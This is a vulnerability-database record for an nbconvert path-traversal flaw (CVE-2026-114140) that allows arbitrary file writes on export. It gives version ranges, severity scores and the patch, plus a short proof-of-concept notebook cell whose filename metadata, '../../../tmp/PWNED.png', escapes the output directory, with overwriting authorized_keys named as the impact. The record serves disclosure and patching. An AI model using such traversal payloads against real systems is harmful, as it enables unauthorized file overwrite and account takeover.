{"schema":"threatline.record/2","record":{"id":"CVE-2026-114140","aliases":["GHSA-pjvx-prjx-h659"],"summary":"nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc","details":"### Summary\n\nnbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.\n\nVulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.\n\nIn `ExtractOutputPreprocessor`, `extractoutput.py:116-119` joins attacker-controlled  `path` to `output_files_dir` with no canonicalization check, enabling arbitrary file write.\n\nThis is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.\n\n### Impact\n\nIf a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.\n\nNote that running the cell with jupyter overrides the output, so it would \"clean up\" malicious cells.\n\n### PoC\n\nIn a ipynb file:\n\n```json\n\n\"cells\": [{\n        \"cell_type\": \"code\", \"id\": \"abc123\", \"execution_count\": 1,\n        \"metadata\": {}, \"source\": \"# PoC\",\n        \"outputs\": [{\n            \"output_type\": \"display_data\",\n            \"metadata\": {\n                \"filename\": \"../../../tmp/PWNED.png\"  # ← traverses outside output_dir\n            },\n            \"data\": {\n                # minimal valid PNG (1×1 pixel)\n                \"image/png\": \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n            }\n        }]\n    }]\n\n```\n\n\n### Patches\n\nFixed in \n- https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f\n- [7.17.2](https://github.com/jupyter/nbconvert/releases/tag/v7.17.2)","categories":["Libraries & packages"],"product":"nbconvert","vendor":"jupyter","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pjvx-prjx-h659","source_modified_at":"2026-10-22T16:23:29Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"nbconvert"},"range":">= 5.4.0, <= 7.17.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-114140","source_modified_at":"2026-10-21T20:19:50.116Z","fetched_at":"2026-10-23T18:42:43.628194Z","product":"nbconvert","vendor":"jupyter","versions":[{"version":">= 5.4.0, < 7.17.2","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pjvx-prjx-h659","source_modified_at":"2026-10-22T16:30:41.002101482Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"nbconvert","ecosystem":"PyPI","purl":"pkg:pypi/nbconvert"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.4.0"},{"fixed":"7.17.2"}]}],"versions":["5.4.0","5.4.1","5.4.1.dev0","5.5.0","5.6.0","5.6.1","6.0.0","6.0.0a0","6.0.0a1","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0b7","6.0.0rc0","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.1.0","6.1.0rc0","6.1.1b0","6.2.0","6.2.0rc0","6.2.0rc1","6.2.0rc2","6.3.0","6.3.0b0","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.4.5","6.5.0","6.5.1","6.5.2","6.5.3","6.5.4","7.0.0","7.0.0rc0","7.0.0rc1","7.0.0rc2","7.0.0rc3","7.1.0","7.10.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-pjvx-prjx-h659","source_modified_at":"2026-10-22T16:23:29Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"nbconvert"},"version":"7.17.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-pjvx-prjx-h659","source_modified_at":"2026-10-22T16:30:41.002101482Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"nbconvert","ecosystem":"PyPI","purl":"pkg:pypi/nbconvert"},"version":"7.17.2"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00313,"percentile":0.22981,"score_date":"2026-10-23"},"published_at":"2026-10-21T20:19:50.116Z","modified_at":"2026-10-22T16:30:41.002101482Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-pjvx-prjx-h659","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-22T16:23:29Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-114140","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T20:19:50.116Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-pjvx-prjx-h659","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-22T16:30:41.002101482Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114140","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/jupyter/nbconvert/security/advisories/GHSA-pjvx-prjx-h659","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114140","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/jupyter/nbconvert/releases/tag/v7.17.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-pjvx-prjx-h659","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-22T16:30:41.002101482Z","content_hash":"96d444ff5e75414d24a87eb99fa817be1efe74a668ae996f5aea47fc329c9a6e"}}
